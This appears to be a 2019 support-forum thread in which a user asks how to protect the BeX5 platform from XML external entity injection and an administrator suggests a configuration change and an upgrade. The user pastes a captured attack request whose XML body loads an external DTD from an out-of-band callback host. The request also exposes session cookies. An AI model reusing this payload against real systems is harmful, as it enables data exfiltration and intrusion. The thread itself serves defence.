起步软件技术论坛
搜索
 找回密码
 注册

QQ登录

只需一步,快速开始

查看: 2716|回复: 5

[处理中3] 关于XML外部实体注入

[复制链接]

165

主题

402

帖子

1074

积分

金牌会员

Rank: 6Rank: 6

积分
1074
QQ
发表于 2019-8-23 09:21:50 | 显示全部楼层 |阅读模式
请问BeX5怎么防范XML外部实体注入?

91

主题

13万

帖子

3万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
35915
发表于 2019-8-23 11:19:32 | 显示全部楼层
平台默认的现在版本的请求都是json格式了
远程的联系方法QQ1392416607,添加好友时,需在备注里注明其论坛名字及ID,公司等信息
发远程时同时也发一下帖子地址,方便了解要解决的问题  WeX5教程  WeX5下载



如按照该方法解决,请及时跟帖,便于版主结贴
回复 支持 反对

使用道具 举报

165

主题

402

帖子

1074

积分

金牌会员

Rank: 6Rank: 6

积分
1074
QQ
 楼主| 发表于 2019-8-23 14:14:42 | 显示全部楼层
本帖最后由 ljdkzd 于 2019-8-23 14:48 编辑

POST /x5/UI2/v_20190801v003_nol_zh_CNs_desktopd_pc/system/service/common/bizAction.j?bsessionid=9F4B506EB94F09B21205D832F90663&process=/YiDongKaoQin/kaoQinXiuGaiJiLu/process/kaoqinjilu/kaoqinjiluProcess&activity=mainActivity HTTP/1.1
Host: weixin.jsptpd.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Referer: https://weixin.jspd.com/x5/UI2/v_/portal/pc/index.w?device=pc
Content-Length: 81
Cookie: JSESSIONID=A833184208FA66A4CE942A3D4780DD; request-use-base64=false; bsessionid=9F4B506EB94F09B21205D8DD32F906
Connection: close

<!DOCTYPE a [
  <!ENTITY %dtd SYSTEM "http://x2zrbg.ceye.io/xxe.dtd">
%dtd;




这个是相应的报文,请看一下
回复 支持 反对

使用道具 举报

91

主题

13万

帖子

3万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
35915
发表于 2019-8-23 14:57:47 | 显示全部楼层
所有的action请求都是xml吗?平台默认的都是json

action.png
远程的联系方法QQ1392416607,添加好友时,需在备注里注明其论坛名字及ID,公司等信息
发远程时同时也发一下帖子地址,方便了解要解决的问题  WeX5教程  WeX5下载



如按照该方法解决,请及时跟帖,便于版主结贴
回复 支持 反对

使用道具 举报

165

主题

402

帖子

1074

积分

金牌会员

Rank: 6Rank: 6

积分
1074
QQ
 楼主| 发表于 2019-8-23 16:37:27 | 显示全部楼层
jishuang 发表于 2019-8-23 14:57
所有的action请求都是xml吗?平台默认的都是json

平台使用的确实是JSON,但是攻击者用了XML,而且平台也处理了,这也确实是漏洞,这个怎么处理?
回复 支持 反对

使用道具 举报

91

主题

13万

帖子

3万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
35915
发表于 2019-8-23 16:59:26 | 显示全部楼层
runtime\UIServer\WEB-INF\justep.xml中的<request-use-base64>false</request-use-base64> 设置为
<request-use-base64>true</request-use-base64> 然后重启tomcat在看看
推荐下载最新的3.8版本测试,3.8在安全方面做了进一步的控制
远程的联系方法QQ1392416607,添加好友时,需在备注里注明其论坛名字及ID,公司等信息
发远程时同时也发一下帖子地址,方便了解要解决的问题  WeX5教程  WeX5下载



如按照该方法解决,请及时跟帖,便于版主结贴
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|X3技术论坛|Justep Inc.    

GMT+8, 2024-4-23 19:12 , Processed in 0.072271 second(s), 26 queries .

Powered by Discuz! X3.4

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表